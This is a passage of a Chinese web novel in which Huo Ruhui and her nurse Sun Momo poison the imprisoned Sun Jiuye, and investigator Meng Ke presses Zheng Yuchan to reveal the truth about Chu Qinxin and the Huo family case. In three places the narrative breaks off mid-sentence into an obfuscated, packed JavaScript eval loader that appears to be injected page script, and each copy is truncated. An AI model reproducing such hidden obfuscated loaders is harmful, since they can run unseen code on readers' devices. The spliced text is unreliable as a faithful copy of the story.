“会的！一定会的！”孙嬷嬷急道，也蹲了下去，将霍茹蕙抱进怀里，“只要你不寻死，咱们再慢慢想办法，咱们再金蝉脱壳，再重新来过。你好好的，做什么……娘都陪你。” 霍茹蕙从她怀里慢慢地抬起头来，目光有些诡异而渗人：“咱们这次要做的不是金蝉脱壳。” “那做什么？”孙嬷嬷迷茫道。 “壁虎断尾。”霍茹蕙一字一顿地道。 孙嬷嬷眼珠转了转，现下哪里有尾，断的是谁，不用问也知道。 霍茹蕙终于露出了几分笑意：“为今之计，只有将一切都推到孙九爷身上。他一条罪是死，十条也是死。你去求求他，让他救救我吧。” 她越说越兴奋，眼睛里重新燃起了疯狂的光芒，“霍家案，我什么都不知道，是九爷与曾怀义谋划，逼迫，哄骗我的。我还小，什么都不懂，都是被逼的，不得不做的。曾怀义也是他杀的。” “等霍家案、曾怀义案，这案那案都了了，我们就远走高飞。”她目光灼灼，看着孙嬷嬷道，“今后，我们再也不折腾了，我们好好地过日子，过安乐日子，你说可好？” 孙嬷嬷紧锁愁眉，看了她一眼，没说话。 霍茹蕙扶着她的双臂：“你不是一直羡慕京城的繁华，我们去京城！咱们带着韵儿投奔史兆麟去，进不了他的府门就做外室。京城那么大，人那么多，我们就在京城大隐隐于市，安安稳稳地把韵儿养大，给你养老。你说好不好？” 孙嬷嬷的眼神一动，祖孙三代从此安乐地过日子，那是多美的事。 见她还在犹豫，霍茹蕙的眼神逐渐疯魔，怒吼道：“再等，真让他们找到证据，翻了案，我就没有机会了！” “你也不救我吗？你也要抛弃我吗？他已经没有活路了，你还要我跟他一起去死吗？” “那我不如就在这儿死了算了！” 她推开孙嬷嬷，挣扎着要站起身来，往崖边冲去。 孙嬷嬷忙一把抱住她的腿，被她拖行了几步。 “我答应你，我答应你还不行吗？”孙嬷嬷哭着道，“我答应你！” 霍茹蕙闻言蹲了下来，去扶孙嬷嬷道：“他本就出不来了，咱们便是想保也保不下他，早晚死路一条，还不如让他少受点罪，送他一程。你说是不是？” 孙嬷嬷抬眸看了她一眼，仿佛不认识她一样。 *** 夜里，大牢门口，一个婆子将一包银子塞到两个看门的狱卒手中：“劳驾二位，行个方便！” 二人相视一眼，为首那人掂了掂银子道：“如今的大牢规矩可不一样了。若是要犯，多少银子咱也不敢收啊！” “不是什么要犯，我家小子不过是给那黑石堂跑腿打杂的，老婆子我凑了好些日子才凑够这些银子，带媳妇来看看。” 那婆子又掏出些，塞进为首那人手中，“还请差爷行个方便。让我们送点吃食衣物进去，耽搁不了多少时候。” 那人将银子揣入怀中，头朝里面一歪：“进去吧，可别耽搁太久！” 那婆子连连点头应着，将身后的年轻妇人拉着往里走去。 婆子慢慢直起腰来，身后一直低着头的妇人也抬起脸来，正是孙嬷嬷与霍茹蕙。 霍茹蕙不耐烦地咕哝道：“非要我一起来！” 孙嬷嬷淡淡地笑笑，没应声，一边走一边看，终于顿住脚，冲里面低低喊了一声：“九哥！” 见孙九爷胡子拉碴，一身脏污，她强笑道：“你可受苦了。” 又往旁边歪了歪头，“你看看谁来了。” 拐角处，霍茹蕙闪身出来，隔着一段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孙嬷嬷不自觉想得发了呆，听到孙九爷打饱嗝，才回过神来，转眼就见他抬起油滋滋的手，便往嘴上擦去。 “等等！”孙嬷嬷掏出一张丝帕，递给他，“都几十年了，还改不了你这毛病！” 孙九爷笑笑，接过来擦了擦那又是酒、又是油的嘴，笑道：“当年，你便是看不下去，这才将你贴身的绣帕借我。” “然后便被你扣住了，再也没还！”孙嬷嬷嗔怪地看了他一眼，笑道。 “若非如此，怎么能骗到你呢？”孙九爷大笑起来，看着手中的丝帕，怀念道，“那时候，看到你用的粗麻布绣帕，我就说，有朝一日定要让你跟那些富家小姐一样，用上丝帕。” 说着，两人相视一眼，几十年光阴在眼前倏地飞逝，两个人竟都到了这把年纪，大半辈子就跟梦似的。 孙九爷将丝帕往怀里一揣。 孙嬷嬷“嘿”了一声，笑道：“还是死性不改！” 孙九爷得意地笑了笑。 两人笑完，却不由都无言。 孙九爷的目光落在了那碟点心上，感慨道：“多少年了，我还是喜欢吃这桂花糯米糕。难怪人家说，任山珍海味，都不如小时候最想吃的那口。” 那时候，他们那群穷孩子，只能在热气腾腾的蒸笼边闻闻味，看着衣着光鲜的人一口口吃着，一口口咽下口水。 他伸手拿起一块，朝孙嬷嬷一举，笑道，“有一回，有个客人刚拿到手里就掉在了地下。我从地上捡起来就没命地跑，一直跑到巷子里，才一人一口分吃了。那一口，甜到了心里头，能记一辈子。后来多少山珍海味，都没那个味道。” 笑着笑着，眼里就浸出了泪。 孙嬷嬷也抬手擦了擦：“想那些做什么！日子好过了，想吃多少有多少了。” 孙九爷点了点头，看着她笑道：“你下回来还给我带！我就要它。” 看他往嘴里送去，孙嬷嬷身子一僵，“嗯”了一声，扭开了脸去。 “嗨！在这儿忆苦思甜，你怎么还真伤心上了。”孙九爷道。 孙嬷嬷笑道：“这人年纪大了，就有些……” “可我瞧着，你还是十六岁的模样，还是远近多少条街最俊的姑娘。” 这一说，又把她逗笑了。 “你这人，就是嘴皮子抹蜜，惯会骗人。” “骗了一辈子，那便不是骗。”孙九爷看着她，认真道。 孙嬷嬷看他的目光闪烁一下，不安地嗔道：“又浑说！” 孙九爷吃完一块，又拿起一块：“你们早点走吧，如今牢里管得严，让人发现了，又生事。” 孙嬷嬷顿了顿，垂着眼道：“那……下回……再来看你。” 孙九爷手中的桂花糕停在了半空，眼中似乎有什么在闪动，垂着眼“嗯”了一声。 孙嬷嬷拎起食盒，走到霍茹蕙身前，又回头看去，见孙九爷又拿起了一块桂花糕，冲她挥了挥手：“走吧！下回来再说！” 孙嬷嬷忍不住，捂着嘴就往外冲去。 霍茹蕙转头看了孙九爷一眼，转身走了。 就在二人深夜消失时，孙九爷抬手捂住了胸口，猛地喷出一口黑血来，随即歪倒在了地上。 117. 道观 孙嬷嬷站在不远处的通道里，朝身后看了一眼。 “走了！”霍茹蕙拉上孙嬷嬷，匆匆往外走去。 孙嬷嬷被她拉走，低声说了句：“九哥，你别怪我！都是为了孩子。” 牢里，孙九爷满眼血红，眼睛瞪直了，还看着二人离去的方向，却模模糊糊看见几个人进来。一个人蹲在了他身边，强行催吐喂药。 约莫半个时辰后，他渐渐苏醒了过来，目光渐渐清明起来，见一人坐在一旁凳子上，正是孟珂。 “悟了吗？”她垂眸看着他，笑问。 从金阳城回到绥陵的那日，她径直就来大牢见了孙九爷。 终于见到孟珂和周冶，孙九爷笑道：“你们还真沉得住气！” 他刚入狱的时候，气势颇盛，预备着让衙门吃瘪。他们却偏不审，就那么日日晾着他，等把手下喽啰都审完了，也不审他。 不等二人发问，他就道，“也不用审，我全都认！咱们都省事。” 于是竹筒倒豆子一般噼里啪啦地道，“黑石堂的事是我这个堂主做的，义庄的事是我跟梁云钦的私人恩怨，不会牵连第三个人。那梁云钦是与我有仇，才攀诬他人。他色心作怪，对梁夫人纠缠不成，反诬告她是霍家小姐。” “还有什么？对了，曾怀义是我杀的。樊仲荣也是我绑架的。全都是我一个人干的。” “怎么杀的？”他自问自答道，“我假扮作樊仲荣派去接他上大船的船夫，下了仿若酒醉的迷香，将驾船到湖滨，瞅着四下无人，把他扔进浅滩里。” “谁料，他入水竟呛醒了过来。我忙上去按住他的手脚，他虽醒转过来，但手脚依然软麻无力，制住他并不是什么难事。也是这样，让他呛进了不少泥水。” “为什么要杀他？”他笑着继续道，“不杀他，我怎么出头？永远当他的跟班、打手、杀手？庄家轮流坐，也该轮到我了。听说他仇家上门，我觉得是个好机会，不在这个时候动手，更待何时？事后全推到他身上就是。” “说完了？”孟珂看着他，终于开了口，“你底下的人招认，当日，船上还有个年轻女人。” “女人？哪来什么女人？”孙九爷见她一个小姐，故意臊她道，“光棍久了自然想女人！底下那些汉子，看母猪都俊俏。” “执迷不悟！”孟珂摇了摇头，“等你一心维护的人来看了你，看你悟不悟。” “不悟。”孙九爷擦了一嘴黑血，扫了她一眼，虚弱地笑了起来，“她们知道为自己考虑，挺好的。” 他能把事情都担了，也是条汉子。孟珂也有几分敬佩，却也不解他这份执着：“明知有毒，你为何仍要吃下？” 他被问得一顿，像是对自己说道：“反正都是一个死，死得痛快点不好么？她们这是疼我呢！” 说着，头一昂，“我孙老九不过街头一介泼皮，享了这么多年的富贵权势，不亏了！不，应该说赚大发了！” 又歪着脑袋看孟珂，“而这，都是她们给我的！” “你还挺感恩，也图报。”孟珂笑道。 “我这样的人，不把脑袋别在裤腰上，怎么可能吃香喝辣，过上两天好日子？”他长长吐出一口气道，“我们这种人，结局早就是注定的，代价也是早晚要付的，我已经够本了！” 孟珂道：“你是不想她为难。” “她，哪个她？”孙九爷目光闪了闪，“我们这样的人，从来都只为自己考虑。” “若是为自己考虑，你当初就该一走了之。梁云钦尚且尝试逃跑，可你连跑的念头都没有过。”孟珂话锋一转道，“不过，你以为，你死了就完了吗？她们就能全身而退了？” “就算真有什么全身而退，那也只会是霍茹蕙一个人的。其他人，全都是她踩在脚下的垫脚之石！” 孟珂站了起来，居高临下地看着孙九爷道，“我今日本来打算抓孙嬷嬷现行的。不然，你以为她们今日怎么有机会进来？不过，我现在改主意了。” 她边踱步边道，“我们不妨打个赌。我若赢了，问什么，你就答什么。你若赢了，我就放你和你的孙嬷嬷远走高飞。如何？” 孙九爷抬眼看她，似在分辨她说的真假。 “没反对，我就当你应了！”孟珂也不多话，扫了地上的碗碟一眼，吩咐道，“将这物证收起来。” 她故意看了孙九爷一眼，“这投毒谋杀的嫌犯，什么时候都能抓。” 说完，起身提步而去。 *** 过了几日，狱卒将孙九爷带了出来，一路到了衙门偏院。 一进院子，便见孟珂，孙九爷笑道：“怎么，小姐不打赌了？这是要带我去过堂，审问，还是直接行刑？” “我这是让你看看，你送上自己的性命也要保的人，到底值不值。”孟珂说着，冲一个房间抬了抬下巴，“带进去！” 狱卒将他押了进去，那是一间空客房，里面什么人都没有。他正要发话，就听隔壁有人声传来，奇怪地看了看身后的孟珂。孟珂示意她听下去，转身便不见了。 隔壁房内，刘宝问：“郑姨，你就上堂作证吧！指认她，替你自己洗清冤屈。” 郑玉婵呆呆地摇了一下头：“不行，她会被定罪的。” “你就不想为霍家复仇吗？” 有人一把推开了门。 两人闻声转头看去，见是孟珂。 “复仇？”郑玉婵一脸震惊，好似这个念头从来没出现在脑中过，甚至都不能理解，怎会有人问起她这两个字。 孟珂看着她的眼睛，一句接一句地质问道：“你霍家满门被害，你就不怨吗？你原本安稳富贵的日子，被一朝打乱，夫妻相离，骨肉相残……你的一生都让这个案子给毁了，你就不恨吗？” 郑玉婵怔怔地挪开了目光。孟珂双目灼灼，追着逼视她：“那些一手炮制这案子的人，鼓动你女儿，害了你一家，还有那么多无辜的人。你就这样放过他们，不让他们受到哪怕一丁点惩罚吗？” 郑玉婵轻轻摇起了头：“别说了，你别说了！” “你就这么忍了？就这么受了？你对得起自己吗，对得起死去的那些冤魂吗？对得起你那被害的孩子吗？” “不要逼我！”郑玉婵越来越快地摇起头，发疯似地躲着孟珂的目光。 孟珂根本不让她躲，跟着转到她面前去：“死者已矣，可那些流放的人，那些还有一口气的人，还可以救！只要嗨有一个人活着，就有意义。只要还能救回一个人，就值得去试试！便是那已死之人，你也当为他们伸冤，告慰他们九泉之下的冤魂啊！” 郑玉婵尖叫了一声，抓狂地抬起头吼道：“可她是我女儿！可她是我女儿。可她是我女儿啊！你让我怎么办才好？！” 说到后一句，她嘤嘤地哭了起来，拨浪鼓一样摇着头，跌坐在了榻上。 刘宝见她哭得上气不接下气，无措地看了看她，又看了看孟珂。 孟珂冲他摇了摇头，示意他不要打扰，又看着郑玉蝉那哭得一耸一耸的背，如鬼魅般幽幽地道：“可传言说，霍茹蕙不是你亲生女儿，所以你们夫妇才害了她！” “谁又在那儿胡说八道！”郑玉婵从榻上弹起来吼道。 “又？你早听过这话。”孟珂笑道，“有道是，无风不起浪。这话到底是怎么来的？外面现在都传开了，说她不是你亲生女儿，才被你们百般折辱。” 郑玉婵回头看着她，噼里啪啦地吼回去：“如果她不是我女儿，我为何宁愿自己受苦，也要保她？宁愿自己坐牢，也要让她在外面好好地活着！如果她不是我女儿，她设计我替她顶罪，再毒杀我灭口，我为何不供出她来！” 孟珂道：“你看看刘宝，若非你不肯说实话，他会成孤儿吗？他原本可以有个完整的、幸福的家！可就因为你的纵容，让他一家遭受这不白之冤！” 郑玉婵看一旁的刘宝手上递给她的茶水，羞惭地扭开了头。许久，她慢慢冷静了下来，叹道：“传出这话，其实也不奇怪。” *** “好孩子！” 郑玉婵接过刘宝手里的茶水，喝了一口，回忆了起来。 “当初，我成婚多年，始终无有所出，到处求医问药，却还是膝下空空。后来，遇到一个灵虚观道人，说我是执念成迷，反不得遂愿，若能清心静修，福报自来。” “这道人在灵虚观讲经，我便常常去观中听经说法，清心修行。没几个月，竟真就有了。我高兴坏了，修行之心更加虔诚。没有的时候期盼有，有了更怕保不住，我几乎日日上山。后来身子重了，不便劳累，也怕路上有闪失，便索性在山上住下了。” “本打算临产之前回府，谁料，不小心动了胎气，直接生在了山上，等做足了月子才带回府。于是，也就传出了我抱个孩子当自己的说法。” 郑玉婵无奈道，“听到那些话，我也无可奈何。嘴巴长在别人身上，就算将产婆，观中见证人都叫来，人也会说是拿钱买通的。” 孟珂注意到一点：“你说不小心动了胎气，是怎么回事？” 郑玉婵道：“我在观中清修之时，结识了一个女子。我们日日在一处听经说法，又都有孕在身，更觉有缘，不免常在一处说话。也是因她，我才想到在后山住下，既能清修，又能保胎，还有人说话解闷、相互照拂，几相便宜。” “住下来后，我们同吃同住，日日一起听经、说话，做针线，渐渐以姐妹相称。我看她身怀有孕却无人照拂，手头也紧，也不时给她明里暗里贴补。” “她的孩子原本比我早一个多月。谁料，一日雨后路滑，她差点摔倒，我情急去扶，结果两人一起摔了，双双动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正如所料，孟珂看向了隔壁，心中却也奇道，霍茹蕙既是孙嬷嬷“杀女仇人”的孩子，孙嬷嬷为何不害死她，反而死心塌地地帮她？ 她不只自己一片赤胆忠心，甚至拉着老相好一起忠心耿耿。就算她的脑子抽抽了，孙九爷不可能跟着抽抽啊！除非……孟珂心中惊道，把她当成了亲生女儿。 郑玉婵继续道，“她模样长得挺俊，人也伶俐，说话做事也有些见识，像大户人家的丫头。见她独自一人怀着身孕，自是有些故事的……她不说，我也没好多问。” 孟珂问：“你后来有没有再见过她？” 郑玉婵迟疑道：“好像看到过那么一眼——也不知是不是我眼花了。霍家出事后，我被送去服刑的路上，好像在人群中看到了她。她笑着望着我，但只一瞬就不见了。” “只怕不是你眼花。”孟珂道。琴心在这时候出现，只怕不是偶然。难道霍家案就有这琴心插手？她叹了口气，看着郑玉婵道，“只怕，你对她是大恩变大仇了。” “什么意思？”郑玉婵不明白。 孟珂道：“她将那孩子的尸体遗弃在那，要么是疯了，要么就是……不信那是她的孩子。她不相信死的是自己孩子，那便会认为，是你抢了她的孩子！” 郑玉婵不敢相信道：“一个早产，一个足月，孩子生下来都不一样大。” “可养了一个月后呢？你的孩子虽小一个月，但养得好。她身子弱，孩子小，未必有多大区别。” 郑玉婵不言语了。孟珂又问：“两个孩子可还有其他胎记可辨？” “没有。”郑玉婵摇头，忙又道，“可我这边丫环婆媳一堆，孩子一刻未曾离手。我紧张这好不容易得来的孩子，也是一刻不离眼前。再说，她是走了一段日子，回来没进门就出事了，根本没可能，没机会弄混！” 孟珂又问：“霍茹蕙不是你的孩子，这话是什么时候开始传的？” 郑玉婵一愣，仿佛从未想过这个问题：“坊间流言，时不时有人背后嚼几句，哪里说得清楚？” “不过，你这么一说，刚回去的时候有人在背后嚼过一阵子，慢慢就消停了。后来，是隔了好几年，我又有了渊儿的前后，又慢慢闹了起来。要说传得最厉害，便是那时候。” 这事说起来孟珂还有点印象，提到霍家弟弟，当年他的死就有些风声，如今听了这些话，更有些不好的猜测。她想了想，又问：“你或霍家可还有什么仇人？设若是有人蓄意造谣，最可能是什么人？” 郑玉婵摇头道：“我一个后宅妇人，少有出门，哪能跟人结什么怨？有来往的也左不过就是那些人。” 孟珂点点头，看向她道：“你可知，这楚琴心是谁？” “楚琴心是谁？她不是楚琴心？”郑玉婵懵然道。 “她是，但后来不是了。”孟珂道，“她就是你家蕙儿身边的那个孙嬷嬷。” 118. 助纣 听到是孙嬷嬷，郑玉婵瞳孔猛震，口中喃喃道：“怎么可能！她们长得……明明就不是一个人啊！” 话没说完，她便想到，自己不也变了个人，过去的多少熟人也对面不相识了。孙嬷嬷从一个惯会看人脸色的心机小丫鬟，变成趾高气昂的管事嬷嬷，认不出来又有什么奇怪呢。 孟珂见她凄笑着，久久不能回过神来，到死也是个糊涂鬼。她叹了口气，对她道：“我也给你讲个故事。绥陵城王家巷有个姑娘，姓楚，名小琴……” 小琴九岁那年，被卖去了金阳城一个大户人家，做了丫鬟。她是个伶俐的丫头，在大户人家呆了几年，慢慢开了窍，升到了老爷书房伺候，常呆呆地看老爷练字。何家老爷见她这般好学，便也成全她，教她认字，还给她改名琴心。 这么又过了几年，小丫头长成了大丫头。忽一日大清早，有丫头撞破这琴心，衣衫不整地从书房冲出来，闹着要投湖自尽。向来宁静的何府，被闹了个鸡飞狗跳，人尽皆知。 虽说年届古稀，但老爷收个丫头入房，也不是什么了不得的大事。可这一闹着实不怎么好看。何家老太太看她不是个省油的灯，狠心将她赶了出去。 谁料，大半年后，这琴心竟抱了个孩子回来。她也不进门，直接往何家大门外一跪，哭喊说自己不打紧，只想让孩子认祖归宗。 她不知从哪找了堆泼皮无赖，藏在人群里起哄架秧子，也不让何家人靠近她，要赶赶不走，让进她不进。她铁了心让金阳城的人都看着，逼何家在众人眼皮底下认了这事。 果然，此事不消半天功夫就闹得沸沸扬扬。假关心的好事之徒，真关切的亲朋好友都来了，把何家老太太气得够呛。 但老太太活了大半辈子，是经过事的，绝不认那不清不楚的孩子，直接上大门口骂她：“谁知你同什么泼皮无赖生的，找回来想讹诈我何家，门儿都没有！” “今日你既撕破了脸，不让我何家好过，我也就当着全明州府告诉你：你若是个仁善的，不管这孩子是不是何家的，何家都可以伸手帮你们母子一把。但就你这样无赖的，” 何家老太太颤抖着手，喘着粗气，“就算……就算我何家人死绝了，也不会要你这种恶毒女人的孩子，败坏何家家声，损毁祖宗令名。血脉是骗不了人的，一旦被这种人脏了，是洗不干净的。” “你要么去报官，要么在这儿天长日久地跪下去。你跪一日，我何家就给你送一日餐食，不让你母子二人饿死，算是积德行善。” 何家老太太转身进门的时候，最后看了琴心一眼：“这样的女人，能生出什么好孩子来？” 眼神落到襁褓中孩子身上的时候，那憎恶与坚定中浮现出一丝怜悯与慈悲，“便是个好孩子，也要让她带歪了！” 琴心没料到何家也能撕破脸。而那群无赖泼皮也是日日要钱雇的，银子耗尽也没闹出结果，她无奈带着孩子走了。 郑玉婵实在没想到，当年那个看起来随分守礼，甚至还带着些楚楚可怜的琴心，竟是这样的人，背后藏的竟是这样的故事。那时候，自己可怜她，百般照顾她，只当她是被大户人家什么人给欺负了，才会一个人带着孩子躲去道观里。 自己虽比她还大好些岁，以姐姐自居，却实在是白活了，识人不清，与豺狼为伍，最终被豺狼所害，也算是自找的。 她从来没有这么后悔，这些事的源头竟真的在自己身上。 孟珂见郑玉婵才听到这儿就被震惊了，哪怕经历了后半辈子的不幸，她却还是对人心的黑暗与丑恶，少了些想象。 她轻咳了一声，继续道：“事情并没有悄无声息地结束，何家走了水，何府付之一炬。而走水的时间，正是琴心抱孩子回灵墟观的那天。” 郑玉蝉猛地抬起脸，满眼惊恐。 孟珂淡淡讥笑道，“街头流言传说，是何家伤天害理，欺负那孤儿寡母，遭了报应……” 她看着郑玉婵，“怎么，觉得这故事开始有点熟悉了？” 郑玉婵经她这么一点，才惊疑道：“难道……我家的事也是她？” “想知道？”孟珂垂眸看着她道，“我可以告诉你。不过，你先好好想想，你该怎么做吧！” 说完，她转身出去之前冲刘宝使了个眼色，留二人在房内，让他点拨劝解。 *** 孟珂转身去了隔壁房里。 孙九爷坐在榻上，往后仰着，听见开门声，只抬眼淡淡地扫了她一眼。 孟珂走到榻边，居高临下地看着他道：“何家出事的时候，孙九爷你也在金阳城，正给一家酒楼当跑堂。在那之前，你常与何家丫头私会，而自那事之后，你就再也不见人影了。” 她微微俯下身，定定地看着他，“那些无赖是你找的，何家走水也是你们干的。” “是又如何？” 他从榻边的小几上端起一盏茶，喝了两口，才往隔壁扫了一眼，冷笑一声，问：“小姐叫我来，就为这？” 孟珂在榻前慢慢踱步道：“就算你不相信郑玉婵为了霍茹蕙的那份心，可长相是怎么也骗不了人的。你看她长得有几分像楚琴心，还是有几分像你？再看看郑玉婵！容颜虽老，可形貌还在。” 她冷笑道，“她甚至不是琴心的女儿，怎么可能是你的女儿？你自己心里，难道没数？” 孙九爷的眼睛盯着手中茶水，嘴角仍带着讥嘲。 孟珂斜眼扫着他道，“没错，琴心她是有过孩子，但不是你的。而那个孩子也不是霍茹蕙，而在灵虚观后山的孤坟里。不信，你就去挖挖看。” “我知道，”孙九爷徐徐吐出一口气，放下茶盏，抬眼看着她，平静地道，“她不是我女儿。” 说完，他戏谑地看着孟珂，就等着看她脸上的微微一怔，得逞地笑了，于是道，“为了荣华富贵，认爹认娘都无妨，何况认个女儿？你们这些富贵人家出身的，还真是……太没见识了些！” 孟珂顿了顿，笑了，点着头道：“你跟琴心，可真是天造地设的一对！” 孙九爷得意地冲她一拱手，无赖地吐出两个字：“谢谢！” 他说着，“呸”一声喷出一口碎茶叶，给那两个字加上了浓墨重彩的余韵，完了吐出一大口气，满脸舒爽地转头看着孟珂笑道：“小姐恕罪，这些年，当爷当惯了，成日里端着，装模作样的，怪累！还是当回泼皮无赖好啊！” 果然是油盐不进，不见棺材不掉泪的主。孟珂知道多说无益，摇了摇头，转身出去了，走到门口，便吩咐人将他送回大牢。 *** 孟珂推开隔壁的门进去，就见刘宝和郑玉婵还在榻上坐着。郑玉婵手中握着那支从不离身的簪子，呆呆地看着。 孟珂知道，那是霍茹蕙去牢里找郑玉婵的时候，亲手替她簪上的。郑玉婵在牢里毒发之后，一查发现，她饭食中的毒跟发簪中的一样——可以直接被认定为她是服毒自尽。 见她此刻的模样，孟珂浮出一丝讥笑，亲生女儿要灭自己口，郑玉婵那颗死了大半的心，终究还是接受不了的。 郑玉婵终于从怔愣中回过神来，发现孟珂走了进来，突地就从榻上弹了起来，往前窜了好几步。她那双空洞已久的眼睛里，闪耀着灼热的东西，盯牢了孟珂，满脸祈求地问：“蕙儿为何会和琴心一起，她们什么时候开始一起的？到底发生了什么事？我家的事，到底怎么回事？” 她的声音弱了下去，“还有，我苑儿的死到底怎么回事？” 那么久以来，孟珂还是头一次见她脸上有这么丰富的表情，心道，很好。凡有所求，就可以商量，但她并不着急，而是露出一丝质疑，凝眉看着郑玉婵道：“你真想知道？” 郑玉婵连连点头：“求小姐告知！” “去问你女儿啊！”孟珂笑道，“问问她为何要害死自己亲弟弟，害死全家。” 郑玉婵脸上一滞，不言语了，慢慢垂下了头去。 孟珂笑道：“你想知道，却还是不敢面对，还是什么都不愿意做。那你不如把头埋进土里，什么也看不见、听不见，就做了糊涂鬼算了。” 郑玉婵缩着脖子，那垂着的头，不自觉地生硬地扭开，躲着孟珂检视的目光。 孟珂冷冷地看着她，笑道：“你到现在还觉得自己无辜？甚至觉得你的儿子、女儿通通都很无辜吧？” “你还觉得都是别人的错，都是别人来害你女儿，害你家吧？你都没做错什么，为何要遭遇这些事，你也不知道，怎么就会变成这样，对吧？” 其实，就连她也一度觉得，郑玉婵一定不算坏人。至少她没主动做过任何坏事，甚至还做下了一些好事——尽管事情最后走了样，大恩成了大仇，也不能说是她的过错。 而霍茹蕙那昭彰的恶意，压根就没几个人有。霍茹蕙行事并不像郑玉婵，她的一切行径，并不能怪到郑玉婵身上去。 可她慢慢地发现，郑玉蝉的那种恶是隐晦的，也是最容易出现在千万黎民百姓身上的。 “那我就来告诉你，怎么会变成这样。你们到底是不是无辜。” “便是养一条狗，出去伤了人，主人亦有过错，亦需承担。你的蕙儿是个人，就能把所有的罪都归到她一人身上吗？” “子不教父之过。你们若尽了责，拦不住，改变不了，没人怪你们。可你自问，你们尽责了吗？你自己的女儿是什么人，你真的一丁点都不知道吗？无论她做了什么，为人父母都不管教、不约束。那她的过错，你们就都有责任！” 孟珂指着一旁的刘宝，戳着郑玉婵所剩不同的愧疚之心，“你对得起刘宝吗，对得起那么多无辜被牵连的人家吗？哪怕不说世人，你又对得起自己的孩子吗？” “苑儿！”郑玉婵想起那个自己倾注了最多精力和期望的孩子，想起自己折戟的下半辈子，就忍不住嚎哭道。 “不只是你的儿子，”孟珂看着她，“你也对不起你的女儿。” 郑玉婵抬起一张泪湿的脸，还是一副无辜样：“我……” *** 孟珂定定地看着她：“你若好好教导，她原本不必长歪，原本还能有斧正的机会。” 郑玉婵的身子僵在那里，想说什么，却什么也说不出来，簪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“而你一夜之间就忽视了她，让她接受不了这样的落差，从一开始就憎恶上了你腹中的那个孩子。那个弟弟，乃至所有的别人，对她来说，全都是资源的抢夺者，是地位的威胁者，是她要除之而后快的人。一旦威胁到她的‘利益’，她对谁都可以下手！不论这个人是自己的亲弟弟，还是父母家人。” 孟珂说到这里，却觉得格外好笑，最懂得霍茹蕙的人，甚至会为她站出来说几句话的人，竟然是自己——这个最该恨她的人。可她是女子，因而也懂得女子的处境，知道霍茹蕙的可恨，却也知道她那些可恶的来处。 虽然她并不会因为理解而宽恕霍茹蕙，但却也觉得，仅仅是这种懂得，也已经够讽刺了。霍茹蕙何曾理解、懂得过她，顾念过她的处境，她的一切？ 怎么也不该是自己这个被欠债的人，去理解债主。她还是太过懂事，而让自己都有些讨厌这一面的自己。 末了，她看着郑玉婵，却又冒出一句同样不该她来说的话：“你是做错了，可你做了，才有错处。还有个什么都不做，甚至谈不到做错的父亲。” *** 听到这话，郑玉婵抬起头，看着孟珂。 孟珂不想再与她深挖什么了，冷冷地道：“说出真相！让她为自己所为付出代价，才能让她别再害人！” “那……她会怎样？”郑玉婵想起自己在牢狱中的日子，“她会坐牢吗？就不能放过她一次吗，再给她一次机会吗？” 孟珂就像听着再好笑也没有的话，不可置信地看着她：“一次？她何止得到过一次机会？她珍惜了吗？改过了吗？她不过是得到机会去害更多人！而那么多被她害的人，谁得到过机会？你醒一醒，到现在还要助纣为虐吗！你对她的愧疚，要让别人用命来填吗？” “不是！”郑玉婵弱弱地辩解道，“我……我不是那个意思，我是想说，我可以替她赎罪！我可以坐牢，我可以当牛做马，我这老弱残躯可以做一切，可以日日都为那些人念经超度……” 孟珂笑得更大声了：“若是别人害了你的孩子，再日日为她念经超度可好？只让凶手的父母以老弱残躯去坐牢，付出代价可好？” 她一时竟分不清，这人是真的内疚，还是又一次演起了“好母亲”：“你还是这么自私！到此刻还要纵容她！” 郑玉婵被她吼得住了口，嗫嚅道：“对……对不起，我只是想为她，做点什么。” 孟珂看着她：“人不可以这么自私，不可以永远只顾你自己想要什么，不管给别人造成什么后果！你这样跟她有什么区别？” 她也不想再与郑玉婵多说，只道：“你不愿指证你女儿，我不逼你。我只问你，有个交易，你可愿做？” “交易？”郑玉婵疑惑道。 “告诉我你知道的所有事。我便让你知道，你儿子死的真相，还有楚琴心同你女儿的事。” “好！”郑玉婵想也没想，点头道，“我答应你！” “用不着那么快应下，”孟珂提醒道，“你想清楚，说出一切，就意味着你女儿可能因此受到惩罚——虽然是她早就该得到的。” 郑玉婵顿了顿，还是点了头：“不知道真相，我怎么敢去见苑儿。到了九泉之下，我要怎么同霍家列祖列宗交待？糊里糊涂地到了十殿阎罗面前，我又要怎么认罪？” 119. 帮凶 孟珂见郑玉蝉是真的愿意开口了，先试探着问：“曾怀义死的那夜，你去湖边见霍茹蕙是怎么回事？” 郑玉婵老实答道：“蕙儿她前一日让人来告诉我，说她想在忌日去霍家老宅，替大火中死去的人烧纸祭奠。我当时虽有些惊讶，却也高兴，想着孩子终究是长大了。她定是为当年的事后悔了，才用这种方式忏悔。谁料，那一夜却出了那事。” “听到消息的时候，我就知道应该是同蕙儿有关。我想着，她也是痛恨自己被他……”她畏缩地看了孟珂一眼，吞下了将要出口的蒙蔽与利用，改口道，“恨他害了我们一家，这才出手复仇。” 孟珂冷冷一笑：“所以等你被官差找到的时候，死活不肯供出她来？” 郑玉婵带着自嘲的笑，点了点头。 一开始，她觉得霍茹蕙长大了，不一样了，一定会想办法救她。她一天天等，也没等到她来牢里看看。后来终于有了消息，却是托人带话，说她还有事情没做完，不能被抓。 郑玉婵再傻，也知道这意思是让自己帮她扛着。 其实，在被抓入狱的时候，她心中就隐隐有了一种历史重演之感。可她还是压下了这种念头，哪怕只是浮起过这个念头，怀疑过女儿，都觉得是自己的不是。 这时候，郑玉婵还是告诉自己，女儿果然是被利用的，被欺骗的，她还是个好孩子。 